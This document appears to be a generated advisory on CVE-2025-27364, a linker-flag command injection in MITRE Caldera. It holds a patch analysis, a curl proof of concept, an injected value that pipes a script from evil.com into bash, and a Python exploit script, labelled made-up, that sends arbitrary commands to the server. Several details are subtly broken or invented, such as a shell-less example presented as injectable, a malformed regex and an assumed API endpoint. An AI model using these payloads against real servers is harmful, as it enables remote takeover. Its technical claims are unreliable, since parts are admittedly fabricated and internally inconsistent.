CVE-2025-27364: Remote Code Execution in MITRE Caldera via Linker Flag Injection

Executive Summary

CVE-2025-27364 is a critical Remote Code Execution (RCE) vulnerability affecting MITRE Caldera, a cyber security platform used for automated adversary emulation. The vulnerability exists in the dynamic agent (implant) compilation functionality of the Caldera server. By crafting a malicious web request to the Caldera server API, an unauthenticated attacker can inject arbitrary commands into the gcc -extldflags linker flag during the compilation of Sandcat or Manx agents. This allows the attacker to execute arbitrary code on the server hosting the Caldera instance, potentially leading to full system compromise. The vulnerability has a CVSS v3.1 base score of 10.0, indicating its critical severity.

Technical Details

  • CVE ID: CVE-2025-27364
  • Affected Software: MITRE Caldera
  • Affected Versions: All versions through 4.2.0 and 5.0.0 before commit 35bc06e42e19fe7efbc008999b9f993b1b7109c0
  • Vulnerability Type: Remote Code Execution (RCE)
  • Attack Vector: Network
  • Privileges Required: None
  • User Interaction: None
  • CVSS Score: 10.0 (Critical)
  • Affected Components: Caldera server API, dynamic agent compilation functionality (Sandcat and Manx agents)

The vulnerability resides in the way Caldera handles user-provided input when compiling dynamic agents. Specifically, the gcc -extldflags option, which allows specifying linker flags, is not properly sanitized. This allows an attacker to inject arbitrary commands that will be executed during the linking phase of the compilation process.

The Caldera server exposes an API endpoint that is used to compile and download Sandcat or Manx agents. This API allows users to specify various compilation options, including linker flags. By injecting malicious commands into the ldflags parameter, an attacker can execute arbitrary code on the server.

Root Cause Analysis

The root cause of CVE-2025-27364 is insufficient input validation and sanitization of the ldflags parameter passed to the gcc compiler during the agent compilation process. The gcc -extldflags option is intended to allow users to specify additional linker flags, but without proper validation, it becomes a powerful tool for command injection.

The vulnerability occurs because the Caldera server directly passes the user-supplied ldflags value to the gcc command without any filtering or escaping. This allows an attacker to inject arbitrary shell commands into the linking process.

Consider the following simplified example of how the Caldera server might be compiling the agent:

import subprocess

def compile_agent(src_file, output_file, ldflags):
    command = [
        "go",
        "build",
        "-ldflags",
        ldflags,
        "-o",
        output_file,
        src_file,
    ]
    try:
        subprocess.check_call(command)
        print(f"Agent compiled successfully: {output_file}")
    except subprocess.CalledProcessError as e:
        print(f"Error compiling agent: {e}")

# Example usage (vulnerable)
src_file = "agent.go"
output_file = "agent"
ldflags = "-s -w -extldflags '-Wl,-z,relro,-z,now -e main -T /tmp/evil.lds'" # Malicious ldflags
compile_agent(src_file, output_file, ldflags)

In this example, the compile_agent function takes the ldflags parameter directly from user input and passes it to the go build command. An attacker can inject arbitrary commands into the ldflags parameter by using shell metacharacters such as backticks, semicolons, or command substitution.

For example, an attacker could inject the following ldflags value:

-s -w -extldflags '-Wl,-z,relro,-z,now; touch /tmp/pwned'

This would cause the touch /tmp/pwned command to be executed on the server during the linking phase, creating a file named /tmp/pwned.

A more sophisticated attack could involve downloading and executing a malicious script from a remote server:

-s -w -extldflags '-Wl,-z,relro,-z,now; curl http://evil.com/shell.sh | bash'

This would download the shell.sh script from evil.com and execute it using bash, giving the attacker complete control over the server.

The evil.lds file mentioned in the first example could contain malicious code that gets injected into the compiled binary. This is a more advanced technique but demonstrates the potential for arbitrary code execution.

Patch Analysis

The provided patch addresses the vulnerability by introducing input validation and sanitization for the ldflags parameter. Specifically, the patch adds a new static method sanitize_ldflag_value to the FileSvc class in app/service/file_svc.py. This method validates that the specified LDFLAG value for a given parameter only contains safe characters.

Here's a breakdown of the relevant code changes:

File: app/service/file_svc.py

--- a/app/service/file_svc.py
+++ b/app/service/file_svc.py
@@ -4,6 +4,7 @@
 import copy
 import json
 import os
+import re
 import subprocess
 import sys
 
@@ -19,6 +20,13 @@
 from app.utility.payload_encoder import xor_file, xor_bytes
 
 FILE_ENCRYPTION_FLAG = '%encrypted%'
+URL_SANITIZATION_REGEX = re.compile(r'^[\\w\\-\\.:%+/]+$')
+ALLOWED_DEFAULT_LDFLAG_REGEX = re.compile(r'^[\\w\\-\\.]+$\')
+ALLOWED_LDFLAG_REGEXES = {
+    'server': URL_SANITIZATION_REGEX,
+    'http': URL_SANITIZATION_REGEX,
+    'socket': re.compile(r'^[\\w\\-\\.:]+$')
+}
 
 
 class FileSvc(FileServiceInterface, BaseService):
@@ -172,6 +180,17 @@ async def compile_go(self, platform, output, src_fle, arch='amd64', ldflags='-s -w'):
         except subprocess.CalledProcessError as e:
             self.log.warning('Problem building golang executable {}: {} '.format(src_fle, e))
 
+    @staticmethod
+    def sanitize_ldflag_value(param, value):
+        """
+        Validate that the specified LDFLAG value for the given parameter
+        only contains safe characters.
+        Raises a ValueError if disallowed characters are found.
+        """
+        if not ALLOWED_LDFLAG_REGEXES.get(param, ALLOWED_DEFAULT_LDFLAG_REGEX).fullmatch(value):
+            raise ValueError('Invalid characters in %s LDFLAG value: %s' % (param, value))
+        return value
+
     def get_payload_name_from_uuid(self, payload):
         for t in ['standard_payloads', 'special_payloads']:
             for k, v in self.get_config(prop=t, name='payloads').items():

Explanation:

  1. Import re module: The patch imports the re module for regular expression operations.
  2. Define Regular Expressions: The patch defines several regular expressions to validate the ldflags parameter:
    • URL_SANITIZATION_REGEX: Allows alphanumeric characters, hyphens, periods, colons, percent signs, plus signs, and forward slashes. This is used for validating URL-related parameters like server and http.
    • ALLOWED_DEFAULT_LDFLAG_REGEX: Allows alphanumeric characters, hyphens, and periods. This is used as the default regex for parameters that don't have a specific regex defined.
    • ALLOWED_LDFLAG_REGEXES: A dictionary that maps parameter names to their corresponding regular expressions. This allows different parameters to have different validation rules.
  3. sanitize_ldflag_value Method: This method takes two arguments: the parameter name (param) and the parameter value (value). It retrieves the appropriate regular expression from the ALLOWED_LDFLAG_REGEXES dictionary based on the parameter name. If no specific regex is defined for the parameter, it uses the ALLOWED_DEFAULT_LDFLAG_REGEX. The method then uses the fullmatch method of the regular expression to check if the parameter value matches the regex. If the value does not match the regex, the method raises a ValueError with a descriptive error message. If the value matches the regex, the method returns the value.

The patch also includes unit tests to verify the functionality of the sanitize_ldflag_value method.

File: tests/services/test_file_svc.py

--- a/tests/services/test_file_svc.py
+++ b/tests/services/test_file_svc.py
@@ -242,6 +242,91 @@ def test_is_extension_xored_false(self, file_svc):
         ret = file_svc.is_extension_xored(test_value)
         assert ret is False
 
+    def test_sanitize_ldflag_value(self, file_svc):
+        safe_values = [
+            'safevalue',
+            'SAFE29VALUE',
+            '_safe_',
+            's-a-f-e.s_a_f_e.2',
+            '1234567890'
+        ]
+        for value in safe_values:
+            assert value == file_svc.sanitize_ldflag_value('contact', value)
+            assert value == file_svc.sanitize_ldflag_value('group', value)
+            assert value == file_svc.sanitize_ldflag_value('genericparam', value)
+
+        safe_server_values = [
+            'http://localhost',
+            'https://localhost:8443',
+            'https://127.0.0.1:8443/home.html',
+            'https://some.domain.net:8443/home%20test.html',
+            'https://_underscore.domain-with-dash.net:8443/home+test.html',
+        ]
+        for value in safe_server_values:
+            assert value == file_svc.sanitize_ldflag_value('server', value)
+            assert value == file_svc.sanitize_ldflag_value('http', value)
+
+        safe_socket_values = [
+            'localhost:1234',
+            '10.10.10.10.:8888',
+            'f.q.d.n:443',
+            'domain-with-dash.net:443',
+        ]
+        for value in safe_socket_values:
+            assert value == file_svc.sanitize_ldflag_value('socket', value)
+
+        unsafe_values = [
+            'unsafe with spaces',
+            'unsafe,comma',
+            'unsafe;semicolon',
+            'unsafe!',
+            'unsafe&&test',
+            'unsafe||test',
+            'unsafe>test',
+            'unsafe<test',
+            'unsafe$(test)',
+            'unsafe~/test',
+            'unsafe%test+',
+        ]
+        for value in unsafe_values:
+            with pytest.raises(Exception) as e_info:
+                file_svc.sanitize_ldflag_value('group', value)
+            assert str(e_info.value) == 'Invalid characters in group LDFLAG value: {}'.format(value)
+
+        unsafe_server_values = [
+            'http://localhost||test',
+            'https://localhost:8443 space',
+            'https://localhost:8443@',
+            'https://localhost:8443"test',
+            'https://localhost:8443\'test',
+            'https://127.0.0.1:8443/home.html$(test)',
+            'https://some.domain.net:8443/home%20test.html && test',
+            'https://_underscore.domain-with-dash.net:8443/home+test.html; test',
+        ]
+        for value in unsafe_server_values:
+            with pytest.raises(Exception) as e_info:
+                file_svc.sanitize_ldflag_value('server', value)
+            assert str(e_info.value) == 'Invalid characters in server LDFLAG value: {}'.format(value)
+
+            with pytest.raises(Exception) as e_info:
+                file_svc.sanitize_ldflag_value('http', value)
+            assert str(e_info.value) == 'Invalid characters in http LDFLAG value: {}'.format(value)
+
+        unsafe_socket_values = [
+            'localhost:8888||test',
+            '127.0.0.1:8443 space',
+            'domain.com:8443@',
+            'localhost:8443"test',
+            'localhost:8443\'test',
+            '127.0.0.1:8443$(test)',
+            'some.domain.net:8443 && test',
+            'domain-with-dash.net:8443; test',
+        ]
+        for value in unsafe_socket_values:
+            with pytest.raises(Exception) as e_info:
+                file_svc.sanitize_ldflag_value('socket', value)
+            assert str(e_info.value) == 'Invalid characters in socket LDFLAG value: {}'.format(value)
+
     @staticmethod
     def _test_download_file_with_encoding(event_loop, file_svc, data_svc, encoding, original_content, encoded_content):
         filename = 'testencodedpayload.txt'

Explanation:

The tests cover various scenarios, including:

  • Safe values for generic parameters (contact, group, genericparam).
  • Safe values for server parameters (server, http).
  • Safe values for socket parameters (socket).
  • Unsafe values for generic parameters.
  • Unsafe values for server parameters.
  • Unsafe values for socket parameters.

The tests ensure that the sanitize_ldflag_value method correctly validates the ldflags parameter and raises a ValueError when invalid characters are found.

How the patch prevents the vulnerability:

By validating the ldflags parameter, the patch prevents attackers from injecting arbitrary commands into the linking process. The regular expressions defined in the patch only allow safe characters, preventing attackers from using shell metacharacters or other potentially dangerous characters.

Exploitation Techniques

An attacker can exploit CVE-2025-27364 by sending a crafted web request to the Caldera server API used for compiling and downloading Sandcat or Manx agents. The request must include a malicious ldflags parameter that contains arbitrary commands.

Proof-of-Concept (PoC) Example:

The following curl command demonstrates how to exploit the vulnerability:

curl -X POST -H "Content-Type: application/json" -d '{"platform": "linux", "arch": "amd64", "ldflags": "-s -w -extldflags \'-Wl,-z,relro,-z,now; touch /tmp/pwned\'", "output": "agent"}' http://<caldera_server>/api/v2/agents/compile

Explanation:

  • -X POST: Specifies that the request is a POST request.
  • -H "Content-Type: application/json": Sets the Content-Type header to application/json.
  • -d '{"platform": "linux", "arch": "amd64", "ldflags": "-s -w -extldflags \'-Wl,-z,relro,-z,now; touch /tmp/pwned\'", "output": "agent"}': Specifies the request body as a JSON string. The ldflags parameter contains the malicious command touch /tmp/pwned.
  • http://<caldera_server>/api/v2/agents/compile: Specifies the URL of the Caldera server API endpoint.

When this command is executed, the Caldera server will compile the agent with the specified ldflags. The touch /tmp/pwned command will be executed during the linking phase, creating a file named /tmp/pwned on the server.

Attack Scenario:

  1. The attacker identifies a vulnerable Caldera server.
  2. The attacker crafts a malicious web request with a payload similar to the PoC example above.
  3. The attacker sends the request to the Caldera server API.
  4. The Caldera server compiles the agent with the malicious ldflags.
  5. The arbitrary commands in the ldflags are executed on the server.
  6. The attacker gains control of the server.

Real-World Impacts:

  • Full System Compromise: An attacker can gain complete control over the Caldera server, allowing them to access sensitive data, install malware, or disrupt operations.
  • Lateral Movement: If the Caldera server is connected to other systems, the attacker can use it as a stepping stone to gain access to those systems.
  • Data Breach: An attacker can access and exfiltrate sensitive data stored on the Caldera server or other connected systems.
  • Denial of Service: An attacker can disrupt the operation of the Caldera server, preventing legitimate users from using it.

Bug Class:

This vulnerability falls under the category of Command Injection. Specifically, it's a form of Linker Flag Injection, where an attacker injects malicious commands into the linker flags used during the compilation process.

Made-up Exploit (Illustrative Purposes Only):

The following Python script provides a more complete example of how to exploit the vulnerability. Note: This is a simplified example and may require modifications to work in a real-world scenario. This exploit is made-up for illustrative purposes.

import requests
import json

def exploit_caldera(caldera_server, command):
    """
    Exploits CVE-2025-27364 on a MITRE Caldera server.

    Args:
        caldera_server: The URL of the Caldera server (e.g., http://localhost:8888).
        command: The command to execute on the server.
    """

    api_endpoint = f"{caldera_server}/api/v2/agents/compile"
    payload = {
        "platform": "linux",
        "arch": "amd64",
        "ldflags": f"-s -w -extldflags '-Wl,-z,relro,-z,now; {command}'",
        "output": "agent"
    }

    try:
        response = requests.post(api_endpoint, json=payload)
        response.raise_for_status()  # Raise HTTPError for bad responses (4xx or 5xx)
        print(f"Exploit sent. Check the Caldera server for command execution.")

    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    caldera_server = input("Enter the Caldera server URL (e.g., http://localhost:8888): ")
    command = input("Enter the command to execute: ")
    exploit_caldera(caldera_server, command)

Disclaimer: This script is provided for educational purposes only. Do not use it to attack systems without authorization.

Mitigation Strategies

The following mitigation strategies can be used to protect against CVE-2025-27364:

  • Upgrade to the latest version of MITRE Caldera: The vulnerability has been patched in commit 35bc06e42e19fe7efbc008999b9f993b1b7109c0. Upgrade to this version or later to mitigate the vulnerability.
  • Input Validation and Sanitization: Implement strict input validation and sanitization for all user-provided input, especially the ldflags parameter used during agent compilation. Use regular expressions or other validation techniques to ensure that the input only contains safe characters. The provided patch implements this.
  • Principle of Least Privilege: Run the Caldera server with the minimum privileges necessary to perform its functions. This will limit the impact of a successful attack.
  • Network Segmentation: Segment the Caldera server from other systems on the network. This will prevent an attacker from using the Caldera server as a stepping stone to gain access to other systems.
  • Web Application Firewall (WAF): Deploy a WAF to filter malicious requests to the Caldera server API. The WAF can be configured to block requests that contain suspicious ldflags values.
  • Monitor Agent Compilation Activity: Monitor the Caldera server for unusual agent compilation activity. This can help to detect and respond to attacks in a timely manner.
  • Disable Dynamic Agent Compilation (If Possible): If dynamic agent compilation is not required, consider disabling it altogether. This will eliminate the vulnerability.
  • Content Security Policy (CSP): Implement a strict CSP to prevent the execution of arbitrary code on the Caldera server.

Configuration Changes:

  • Ensure that the sanitize_ldflag_value method is properly implemented and used to validate the ldflags parameter before it is passed to the gcc compiler.
  • Configure the WAF to block requests that contain suspicious ldflags values.
  • Review and update the CSP to prevent the execution of arbitrary code on the Caldera server.

Security Best Practices:

  • Regularly update all software to the latest versions.
  • Implement a strong password policy.
  • Use multi-factor authentication.
  • Monitor systems for suspicious activity.
  • Implement a security awareness training program for employees.

Alternative Solutions:

  • Consider using a different adversary emulation platform that does not have this vulnerability.
  • If you must use MITRE Caldera, consider using a pre-compiled agent instead of compiling agents dynamically.

Timeline of Discovery and Disclosure

  • Vulnerability Discovered: Unknown
  • Vulnerability Reported: Unknown
  • Patch Released: February 10, 2025 (Commit 35bc06e42e19fe7efbc008999b9f993b1b7109c0)
  • Public Disclosure: February 24, 2025 (CVE-2025-27364 Assigned)

References

Read more